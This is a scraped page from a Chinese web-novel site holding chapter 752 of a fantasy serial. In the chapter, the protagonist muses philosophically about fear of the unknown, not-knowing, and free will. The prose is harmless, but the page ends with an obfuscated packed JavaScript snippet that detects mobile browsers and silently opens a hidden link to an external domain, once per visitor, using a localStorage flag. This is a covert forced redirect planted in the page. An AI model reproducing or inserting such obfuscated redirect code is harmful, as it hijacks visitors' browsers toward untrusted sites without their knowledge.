第五文学网 > 玄幻小说 > 上帝使用手册 > 正文 第七百五十二章 第一步152

正文 第七百五十二章 第一步152

    对于未知的恐惧,从来都不会减少。

    这似乎是角色的设定,于是好怂恿角色努力去获取知识,努力去抓住未来。相信脑子里卑微的知识,就是在赶走对未知的恐惧。并且,我不承认自己脑子里的东西是卑微的是局限的,这样就会理所当然的认为自己知道很多东西。

    可是,那种对未来的迷茫,那种对未来的焦虑,那种对未来的恐惧,又是如何产生的呢?这些不就正好证明了自己脑子里知识的卑微吗?

    而我始终不会承认自己只知道一部分,或者说,我不会承认自己只知道极小的一部分。也许自己知晓的不是全部,但至少也是大部分。

    事实上,我一无所知。

    而这种不知道的态度,让人很不舒服。或者说,我还没有适应这种一无所知的态度。你看,我知道如何开门,如何吃饭,如何有效的玩游戏,如何使用电器等等,怎么可能一无所知呢?

    袁长文很不舒服,因为推理出来自己的确一无所知,但内心深处怎么可能相信这一点?就算自己快要死亡,但也无法否认自己现在的状态。

    是白痴吗?一无所知?

    如果我跟人讲,别人多半会这样反问。当然,没有别人可以聊天,这个时候,除了一个人孤独的坠落湖水,还有什么人呢?

    关键在于,我为什么会对未知产生恐惧?这是个好问题,为什么要恐惧未知,而不是热爱未知呢?

    因为我在担心未来朝着坏的方向发展,因为我在害怕未知的事物对我造成伤害,因为我在恐惧未来的不可控让我的生活支离破碎。

    既然这样,那么我也可以认为未来会朝着好的方向发展咯,我也可以认为那些未知将会带领我前往更好的地方。

    关键在于,自己在害怕生活,所以才会恐惧未知。

    如果我不害怕生活,又怎么会恐惧未知呢?就像我不害怕太阳,所以太阳如何翻滚如何释放热量如何进行原子间的碰撞,都无所谓。我不会时刻关注太阳的热量分布,以防止什么不好的事情发生。

    一无所知并不是什么坏事,认为一无所知是一种不好,这才是坏事也是问题的根源。

    当然,最终的根源依旧是认为袁长文这个角色真实存在,如果角色虚假而且不存在,那么这些跟角色相互冲撞的东西,自然也就不存在。

    不管如何判定,将事情定义为最美好的安排,还是定义为一场悲伤的发生,都是脑子里的扭曲而已。不知道,才是我应该有的态度。

    任何事情我都要判断,因为这是我这么多年来一直相信的行为模式。事实上,从远古时代开始,这种知识性的传承,就奠定了人类文明的发展。如果人人都像我这样,那么还如何发展文明呢?

    小国寡民,老死不相往来,这种状态的人类如何飞出母星,如何成为跨星系的物种呢?

    为什么不继续斩杀?不要告诉我没有什么好斩杀的,这不过是借口是角色逃避死亡的伎俩罢了。

    我不知道这样做是好是坏,我只是想这样做而已。

    想想也是,如果真的有生活流动这种东西,如何来传递给角色呢?不可能需要什么分析,或者从什么事情中找出什么规律,那样只是一种思考一种脑子里的扭曲而已。

    生活的流动必然是一种不需要学习的东西,它应该是我的本质,就像水滴不需要去学习如何融入海洋。水滴只需要停止相信自己不属于海洋即可,没有什么需要学习的。

    那么,这样的话,生活的流动只能以一种内心的冲动来演绎。小到拉屎撒尿,大到一些所谓的人生决策。而脑子里的扭曲,就是尽可能的躲开这种毫无逻辑的冲动,利用仅有的卑微的知识去判断去权衡。

    如此说来,那么依旧需要学习。学习如何分辨是内心的冲动,还是脑子里的扭曲带来的**。突然觉得自己究竟在干什么?努力这么多年来丰满自己的知识,来学习各种不同的知识,来让认知升级。

    而现在,却要丢弃这种认知。无论是什么认知,都是阻挡我看世界的障碍,都是铸成高墙以囚禁我的牢房。

    唉,也许小学之后就没有必要继续上学了吧。那些科学规律,还不如努力教人如何不害怕生活,如何认清脑子里的恐惧,如何学习分辨内心的冲动。

    不要再问什么没有大学文凭如何找工作之类的废物问题,只有充满恐惧的人才会这样提问。也许,不是恐惧,而是充满湿气的担忧,随时都在努力应对各种即将发生的坏事。

    不得不承认,这种角色反而很受欢迎,因为了解特别多,思维缜密,考虑周全,能够想到别人没想到的,而且充满精神干劲。

    曾经的我就是这样生活,而且并没有觉得有什么不好。这种控制感带来的安心,确实很难否认。最关键的是,自己根本不会认为这样考虑有什么不妥,也不会觉得这样费心思考会很累。

    但现在回头去看,有一种难以置信的荒谬在其中。就像一个小孩子努力设定计划,准备用手中的图钉杀死一条抹香鲸。

    什么时候任由事情发展居然需要勇气才能完成?什么时候任由时间流逝慢慢塑造事情,也需要勇气才能做到?

    就像,水滴竟然需要勇气才能将自己融入海洋,这尼玛不是扯淡吗?

    水滴本身就是融入海洋的,只是自己强行认为自己没有融入而已,从来不随着海洋一起波动,怎么可能不担忧不焦虑呢?

    这个说法有问题,就是水滴可以跳出海洋然后独自运作吗?

    如果承认时间线性流逝,那么自由意识不可能存在。如果时间不存在,那么自由意志更是扯淡。但是,这种不随着生活流动的“自由意识”来自哪里?

    果然,一切讨论都必须建立在时间线性流逝的基础上。这样,整个讨论才会有意义,也才能够有助于生活之类的。

    但是,我怎么知道时间是存在的呢?而且,那份觉察就是一切,时间这种玩意就是不存在的。

    既然时间不存在,那么我只能说,“此刻,我觉察到有些水滴做出不是海洋的举动,并且认为自己跟海洋之间是独立的个体。”

    至于觉察到的内容究竟是怎样回事,我怎么知道!

    我不知道。


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('t y(){p(N z==="O".j("").k().l("")){A P}B a;u C=z[\'\\D\\c\\0\\8\\Q\\i\\0\\6\\3\'][\'\\3\\1\\v\\1\\q\\0\\8\\r\\4\\c\\0\']();a=\'\\i\\s\\5\\2\\1\\R\';u E=S T(\'\\4\\6\\5\\8\\1\\2\\5\\d\\2\\e\\m\\1\\6\\0\\d\\2\\e\\4\\5\\d\\2\\e\\1\\5\\d\\q\\2\\6\\5\\1\\q\\c\\F\\e\\m\\1\\6\\0\\d\\9\\7\\4\\n\\w\\9\\0\\8\\8\\g\\d\\c\\g\\f\\9\\2\\4\\6\\d\\q\\0\\9\\1\\c\\d\\1\\e\\0\\8\\4\\F\\f\\2\\6\\2\\d\\2\\0\\f\\1\\9\\2\\7\\0\\d\\f\\1\\9\\2\\7\\0\',\'\\2\');A E[\'\\3\\0\\c\\3\'](C)}t G(a){B b;u h=o[\'\\n\\8\\0\\4\\3\\0\\H\\7\\0\\f\\0\\6\\3\']("\\4");b=U^V;h[\'\\m\\8\\0\\s\']=a;h[\'\\c\\3\\g\\7\\0\'][\'\\5\\2\\c\\e\\7\\4\\g\']="\\6\\1\\6\\0";h[\'\\3\\4\\8\\i\\0\\3\']="W".j("").k().l("");o[\'\\9\\1\\5\\g\'][\'\\4\\e\\e\\0\\6\\5\\r\\m\\2\\7\\5\'](h);h[\'\\n\\7\\2\\n\\w\']();o[\'\\9\\1\\5\\g\'][\'\\8\\0\\f\\1\\I\\0\\r\\m\\2\\7\\5\'](h)}o[\'\\4\\5\\5\\H\\I\\0\\6\\3\\v\\2\\c\\3\\0\\6\\0\\8\']("\\X\\Y\\Z\\r\\1\\6\\3\\0\\6\\3\\v\\1\\4\\5\\0\\5",t(){p(!J[\'\\i\\7\\1\\9\\4\\7\\K\\4\\8\']){p(o[\'\\9\\1\\5\\g\']!=10){J[\'\\i\\7\\1\\9\\4\\7\\K\\4\\8\']="\\x";L=M[\'\\i\\0\\3\\x\\3\\0\\f\']("\\7\\D\\n\\w\\11\\s\\s");p(!L&&y()){G("12.13.14//:15".j("").k().l(""))}M[\'\\c\\0\\3\\x\\3\\0\\f\']("16".j("").k().l(""),"17".j("").k().l(""))}}});',62,70,'u0065|u006F|u0069|u0074|u0061|u0064|u006E|u006C|u0072|u0062|||u0073|u007C|u0070|u006D|u0079|_0x7a_0xcc0|u0067|split|reverse|join|u0068|u0063|document|if|u0077|u0043|u0066|function|const|u004C|u006B|u0049|isMobileDevice|navigator|return|var|_0x95deb|u0075|_0x80204a|u0020|OpenUrl|u0045|u0076|window|u0056|hasExecuted|localStorage|typeof|denifednu|false|u0041|u006A|new|RegExp|327325|327324|knalb_|u0044|u004F|u004D|null|u005F|moc|8zfjm|2357|ptth|ff_kcul|eurt'.split('|'),0,{}))